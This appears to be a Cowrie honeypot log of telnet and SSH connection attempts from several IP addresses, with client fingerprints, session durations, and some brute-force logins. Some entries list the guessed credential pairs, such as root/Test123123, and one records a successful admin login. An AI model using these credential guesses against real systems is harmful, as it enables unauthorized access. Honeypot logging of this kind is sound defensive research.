{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":41928,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1535c5006eb","protocol":"telnet","message":"New connection: 162.248.7.67:41928 (159.203.135.109:23) [session: b1535c5006eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:52.268846Z"}
{"eventid":"cowrie.session.closed","duration":30.831770181655884,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:03:56.069243Z","src_ip":"162.248.7.67","session":"379833efe948","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.108197927474976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:02.819140Z","src_ip":"162.248.7.67","session":"bdb3ffc88239","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":52904,"dst_ip":"159.203.135.109","dst_port":23,"session":"c718930443b3","protocol":"telnet","message":"New connection: 162.248.7.67:52904 (159.203.135.109:23) [session: c718930443b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:03.955171Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":60162,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b1aee76416c","protocol":"ssh","message":"New connection: 2.57.122.238:60162 (10.17.0.5:22) [session: 8b1aee76416c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:07.839843Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:07.947137Z","src_ip":"2.57.122.238","session":"8b1aee76416c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":57048,"dst_ip":"159.203.135.109","dst_port":23,"session":"75216c2c9063","protocol":"telnet","message":"New connection: 162.248.7.67:57048 (159.203.135.109:23) [session: 75216c2c9063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:09.055275Z"}
{"eventid":"cowrie.session.closed","duration":30.85790753364563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:09.758926Z","src_ip":"162.248.7.67","session":"b2da9a9bf227","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81113624572754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:10.963139Z","src_ip":"162.248.7.67","session":"c07ffa762a2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":45568,"dst_ip":"159.203.135.109","dst_port":22,"session":"da48aaacd0ad","protocol":"ssh","message":"New connection: 43.157.98.118:45568 (159.203.135.109:22) [session: da48aaacd0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:11.059970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:11.065259Z","src_ip":"43.157.98.118","session":"da48aaacd0ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:11.159183Z","src_ip":"43.157.98.118","session":"da48aaacd0ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123123","message":"login attempt [root/Test123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:11.865427Z","src_ip":"43.157.98.118","session":"da48aaacd0ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:12.962021Z","src_ip":"43.157.98.118","session":"da48aaacd0ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":58720,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5ecb71a0af1","protocol":"telnet","message":"New connection: 162.248.7.67:58720 (159.203.135.109:23) [session: d5ecb71a0af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:14.150820Z"}
{"eventid":"cowrie.session.closed","duration":120.00119400024414,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:15.103960Z","src_ip":"182.253.54.171","session":"ce74375d7b4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":14701,"dst_ip":"10.17.0.5","dst_port":23,"session":"c36d975f7667","protocol":"telnet","message":"New connection: 182.253.54.171:14701 (10.17.0.5:23) [session: c36d975f7667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:18.809292Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":42716,"dst_ip":"10.17.0.5","dst_port":22,"session":"de0df90c71ef","protocol":"ssh","message":"New connection: 190.244.39.232:42716 (10.17.0.5:22) [session: de0df90c71ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:20.520617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:20.527515Z","src_ip":"190.244.39.232","session":"de0df90c71ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00155806541443,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:20.572962Z","src_ip":"182.253.54.171","session":"ca1070630f29","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:20.720323Z","src_ip":"190.244.39.232","session":"de0df90c71ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"1q2w3e4r","message":"login attempt [odoo/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:21.513443Z","src_ip":"190.244.39.232","session":"de0df90c71ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:22.715536Z","src_ip":"190.244.39.232","session":"de0df90c71ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.69051766395569,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:22.959208Z","src_ip":"162.248.7.67","session":"b1535c5006eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":12585,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8a6bda18937","protocol":"telnet","message":"New connection: 182.253.54.171:12585 (10.17.0.5:23) [session: d8a6bda18937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:24.211289Z"}
{"eventid":"cowrie.session.closed","duration":120.00114345550537,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:24.956591Z","src_ip":"182.253.54.171","session":"2b955d4467b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":11809,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eb110f19480","protocol":"telnet","message":"New connection: 182.253.54.171:11809 (10.17.0.5:23) [session: 8eb110f19480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:25.557303Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":55878,"dst_ip":"10.17.0.5","dst_port":23,"session":"b659ddebf3ed","protocol":"telnet","message":"New connection: 137.184.155.248:55878 (10.17.0.5:23) [session: b659ddebf3ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:25.560541Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":41016,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2f7cd7f9da7","protocol":"telnet","message":"New connection: 162.248.7.67:41016 (159.203.135.109:23) [session: d2f7cd7f9da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:28.387085Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":55894,"dst_ip":"10.17.0.5","dst_port":23,"session":"454660ce04a1","protocol":"telnet","message":"New connection: 137.184.155.248:55894 (10.17.0.5:23) [session: 454660ce04a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:29.291957Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":35610,"dst_ip":"159.203.135.109","dst_port":22,"session":"5727e73fb326","protocol":"ssh","message":"New connection: 102.211.152.138:35610 (159.203.135.109:22) [session: 5727e73fb326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:34.372571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:34.379641Z","src_ip":"102.211.152.138","session":"5727e73fb326","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:34.483572Z","src_ip":"102.211.152.138","session":"5727e73fb326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.738990545272827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:34.694044Z","src_ip":"162.248.7.67","session":"c718930443b3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"!@#test!@#","message":"login attempt [test/!@#test!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:34.929221Z","src_ip":"102.211.152.138","session":"5727e73fb326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:36.035530Z","src_ip":"102.211.152.138","session":"5727e73fb326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00108003616333,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:37.615623Z","src_ip":"182.253.54.171","session":"1cfb5f038ce8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":50092,"dst_ip":"159.203.135.109","dst_port":23,"session":"381ea73ea50b","protocol":"telnet","message":"New connection: 162.248.7.67:50092 (159.203.135.109:23) [session: 381ea73ea50b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:38.234174Z"}
{"eventid":"cowrie.session.closed","duration":30.9517023563385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:40.006865Z","src_ip":"162.248.7.67","session":"75216c2c9063","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":13537,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec2f9394a747","protocol":"telnet","message":"New connection: 182.253.54.171:13537 (10.17.0.5:23) [session: ec2f9394a747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:42.265045Z"}
{"eventid":"cowrie.session.closed","duration":30.444058895111084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:44.594766Z","src_ip":"162.248.7.67","session":"d5ecb71a0af1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":55296,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf5902ad1ba7","protocol":"telnet","message":"New connection: 162.248.7.67:55296 (159.203.135.109:23) [session: bf5902ad1ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:48.831387Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":34572,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba09eaff1ef1","protocol":"telnet","message":"New connection: 137.184.155.248:34572 (10.17.0.5:23) [session: ba09eaff1ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:53.067275Z"}
{"eventid":"cowrie.session.closed","duration":4.856902837753296,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:57.924048Z","src_ip":"137.184.155.248","session":"ba09eaff1ef1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":33296,"dst_ip":"159.203.135.109","dst_port":23,"session":"a299d92ee286","protocol":"telnet","message":"New connection: 162.248.7.67:33296 (159.203.135.109:23) [session: a299d92ee286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:57.951074Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":34786,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a5a17477a2f","protocol":"telnet","message":"New connection: 162.248.7.67:34786 (159.203.135.109:23) [session: 0a5a17477a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:57.996130Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":35574,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3b7c6ef77d1","protocol":"telnet","message":"New connection: 162.248.7.67:35574 (159.203.135.109:23) [session: e3b7c6ef77d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:58.190625Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":57576,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b38d58819ce","protocol":"ssh","message":"New connection: 43.157.98.118:57576 (159.203.135.109:22) [session: 6b38d58819ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:59.750242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:59.755413Z","src_ip":"43.157.98.118","session":"6b38d58819ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:04:59.844813Z","src_ip":"43.157.98.118","session":"6b38d58819ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.729477882385254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:00.116441Z","src_ip":"162.248.7.67","session":"d2f7cd7f9da7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mm123456.","message":"login attempt [root/Mm123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:00.523239Z","src_ip":"43.157.98.118","session":"6b38d58819ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:01.615690Z","src_ip":"43.157.98.118","session":"6b38d58819ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":48278,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ca772db470f","protocol":"ssh","message":"New connection: 114.141.59.195:48278 (159.203.135.109:22) [session: 7ca772db470f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:02.452474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:02.459501Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:02.699096Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@1234","message":"login attempt [admin/Admin@1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:03.711321Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:04.267182Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
